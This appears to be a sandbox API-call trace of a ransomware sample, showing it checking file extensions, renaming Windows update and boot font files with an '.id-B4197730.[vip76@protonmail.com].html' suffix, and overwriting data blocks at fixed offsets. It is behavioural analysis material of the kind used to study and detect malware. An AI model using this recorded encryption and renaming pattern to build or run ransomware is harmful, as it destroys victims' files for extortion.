	[0069.223] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0069.223] lstrlenW (lpString=".bz2") returned 4
	[0069.223] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0069.223] lstrlenW (lpString=".7z") returned 3
	[0069.223] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0069.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.223] lstrlenW (lpString=".dbf") returned 4
	[0069.224] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0069.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.224] lstrlenW (lpString=".1cd") returned 4
	[0069.224] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0069.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.224] lstrlenW (lpString=".jpg") returned 4
	[0069.224] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0069.224] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0069.224] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33
	[0069.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0069.224] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2141433) returned 1
	[0069.224] CloseHandle (hObject=0x358) returned 1
	[0069.225] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80
	[0069.225] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.225] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0069.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0069.226] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0x0) returned 1
	[0069.226] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.226] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ac3058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.231] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.231] ReadFile (in: hFile=0x358, lpBuffer=0x3b03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b03058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.234] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.234] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.234] ReadFile (in: hFile=0x358, lpBuffer=0x3b43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b43058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.259] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.260] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0069.802] SetEndOfFile (hFile=0x358) returned 1
	[0069.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x439e640
	[0069.803] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.803] WriteFile (in: hFile=0x358, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.805] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.805] WriteFile (in: hFile=0x358, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.807] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.807] WriteFile (in: hFile=0x358, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.809] CloseHandle (hObject=0x358) returned 1
	[0071.023] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.023] lstrlenW (lpString=".doc") returned 4
	[0071.023] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0071.023] lstrlenW (lpString=".docx") returned 5
	[0071.023] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0071.023] lstrlenW (lpString=".pdf") returned 4
	[0071.023] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0071.023] lstrlenW (lpString=".xls") returned 4
	[0071.023] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0071.023] lstrlenW (lpString=".xlsx") returned 5
	[0071.023] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0071.023] lstrlenW (lpString=".ppt") returned 4
	[0071.023] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.023] lstrlenW (lpString=".zip") returned 4
	[0071.023] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0071.023] lstrlenW (lpString=".rar") returned 4
	[0071.024] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0071.024] lstrlenW (lpString=".bz2") returned 4
	[0071.024] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0071.024] lstrlenW (lpString=".7z") returned 3
	[0071.024] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.024] lstrlenW (lpString=".dbf") returned 4
	[0071.024] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.024] lstrlenW (lpString=".1cd") returned 4
	[0071.024] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.024] lstrlenW (lpString=".jpg") returned 4
	[0071.024] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.024] lstrlenW (lpString=".doc") returned 4
	[0071.024] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0071.024] lstrlenW (lpString=".docx") returned 5
	[0071.024] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0071.024] lstrlenW (lpString=".pdf") returned 4
	[0071.024] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0071.024] lstrlenW (lpString=".xls") returned 4
	[0071.024] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0071.024] lstrlenW (lpString=".xlsx") returned 5
	[0071.024] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0071.024] lstrlenW (lpString=".ppt") returned 4
	[0071.024] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.024] lstrlenW (lpString=".zip") returned 4
	[0071.025] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0071.025] lstrlenW (lpString=".rar") returned 4
	[0071.025] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0071.025] lstrlenW (lpString=".bz2") returned 4
	[0071.025] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0071.025] lstrlenW (lpString=".7z") returned 3
	[0071.025] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0071.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.025] lstrlenW (lpString=".dbf") returned 4
	[0071.025] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0071.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.025] lstrlenW (lpString=".1cd") returned 4
	[0071.025] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0071.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0071.025] lstrlenW (lpString=".jpg") returned 4
	[0071.025] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0071.025] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.025] lstrlenW (lpString="malgunn_boot.ttf") returned 16
	[0071.025] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.027] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=174959) returned 1
	[0071.027] CloseHandle (hObject=0x358) returned 1
	[0071.027] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20
	[0071.027] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.027] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.027] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.027] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.027] lstrlenW (lpString=".doc") returned 4
	[0071.027] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.027] lstrlenW (lpString=".docx") returned 5
	[0071.027] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.027] lstrlenW (lpString=".pdf") returned 4
	[0071.027] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString=".xls") returned 4
	[0071.028] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.028] lstrlenW (lpString=".xlsx") returned 5
	[0071.028] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.028] lstrlenW (lpString=".ppt") returned 4
	[0071.028] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.028] lstrlenW (lpString=".zip") returned 4
	[0071.028] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.028] lstrlenW (lpString=".rar") returned 4
	[0071.028] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString=".bz2") returned 4
	[0071.028] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString=".7z") returned 3
	[0071.028] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.028] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.028] lstrlenW (lpString=".dbf") returned 4
	[0071.028] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.028] lstrlenW (lpString=".1cd") returned 4
	[0071.028] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.028] lstrlenW (lpString=".jpg") returned 4
	[0071.028] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.028] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.028] lstrlenW (lpString=".doc") returned 4
	[0071.028] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.028] lstrlenW (lpString=".docx") returned 5
	[0071.028] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.029] lstrlenW (lpString=".pdf") returned 4
	[0071.029] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.029] lstrlenW (lpString=".xls") returned 4
	[0071.029] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.029] lstrlenW (lpString=".xlsx") returned 5
	[0071.029] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.029] lstrlenW (lpString=".ppt") returned 4
	[0071.029] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.029] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.029] lstrlenW (lpString=".zip") returned 4
	[0071.029] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.029] lstrlenW (lpString=".rar") returned 4
	[0071.029] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.029] lstrlenW (lpString=".bz2") returned 4
	[0071.029] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.029] lstrlenW (lpString=".7z") returned 3
	[0071.029] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.029] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.029] lstrlenW (lpString=".dbf") returned 4
	[0071.029] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.029] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.029] lstrlenW (lpString=".1cd") returned 4
	[0071.029] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.029] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0071.029] lstrlenW (lpString=".jpg") returned 4
	[0071.029] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.029] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.029] lstrlenW (lpString="malgun_boot.ttf") returned 15
	[0071.030] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.031] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=177414) returned 1
	[0071.031] CloseHandle (hObject=0x358) returned 1
	[0071.031] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0071.031] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.031] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.031] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.031] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.031] lstrlenW (lpString=".doc") returned 4
	[0071.031] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.031] lstrlenW (lpString=".docx") returned 5
	[0071.031] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.031] lstrlenW (lpString=".pdf") returned 4
	[0071.031] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.031] lstrlenW (lpString=".xls") returned 4
	[0071.031] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.032] lstrlenW (lpString=".xlsx") returned 5
	[0071.032] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.032] lstrlenW (lpString=".ppt") returned 4
	[0071.032] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.032] lstrlenW (lpString=".zip") returned 4
	[0071.032] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.032] lstrlenW (lpString=".rar") returned 4
	[0071.032] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString=".bz2") returned 4
	[0071.032] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString=".7z") returned 3
	[0071.032] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.032] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.032] lstrlenW (lpString=".dbf") returned 4
	[0071.032] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.032] lstrlenW (lpString=".1cd") returned 4
	[0071.032] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.032] lstrlenW (lpString=".jpg") returned 4
	[0071.032] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.032] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.032] lstrlenW (lpString=".doc") returned 4
	[0071.032] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString=".docx") returned 5
	[0071.032] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.032] lstrlenW (lpString=".pdf") returned 4
	[0071.032] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.032] lstrlenW (lpString=".xls") returned 4
	[0071.032] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.033] lstrlenW (lpString=".xlsx") returned 5
	[0071.033] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.033] lstrlenW (lpString=".ppt") returned 4
	[0071.033] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.033] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.033] lstrlenW (lpString=".zip") returned 4
	[0071.033] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.033] lstrlenW (lpString=".rar") returned 4
	[0071.033] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.033] lstrlenW (lpString=".bz2") returned 4
	[0071.033] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.033] lstrlenW (lpString=".7z") returned 3
	[0071.033] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.033] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.033] lstrlenW (lpString=".dbf") returned 4
	[0071.033] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.033] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.033] lstrlenW (lpString=".1cd") returned 4
	[0071.033] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.033] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0071.033] lstrlenW (lpString=".jpg") returned 4
	[0071.033] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.033] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.033] lstrlenW (lpString="meiryon_boot.ttf") returned 16
	[0071.033] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.374] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=143754) returned 1
	[0071.374] CloseHandle (hObject=0x2c0) returned 1
	[0071.374] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20
	[0071.374] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.375] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.375] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.375] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.375] lstrlenW (lpString=".doc") returned 4
	[0071.375] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.375] lstrlenW (lpString=".docx") returned 5
	[0071.375] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.375] lstrlenW (lpString=".pdf") returned 4
	[0071.375] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.375] lstrlenW (lpString=".xls") returned 4
	[0071.375] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.375] lstrlenW (lpString=".xlsx") returned 5
	[0071.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.375] lstrlenW (lpString=".ppt") returned 4
	[0071.375] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.375] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.375] lstrlenW (lpString=".zip") returned 4
	[0071.376] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.376] lstrlenW (lpString=".rar") returned 4
	[0071.376] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString=".bz2") returned 4
	[0071.376] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString=".7z") returned 3
	[0071.376] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.376] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.376] lstrlenW (lpString=".dbf") returned 4
	[0071.376] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.376] lstrlenW (lpString=".1cd") returned 4
	[0071.376] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.376] lstrlenW (lpString=".jpg") returned 4
	[0071.376] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.376] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0071.376] lstrlenW (lpString=".doc") returned 4
	[0071.376] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString=".docx") returned 5
	[0071.376] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.376] lstrlenW (lpString=".pdf") returned 4
	[0071.376] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.376] lstrlenW (lpString=".xls") returned 4
	[0071.376] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.377] lstrlenW (lpString=".xlsx") returned 5
	[0071.377] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
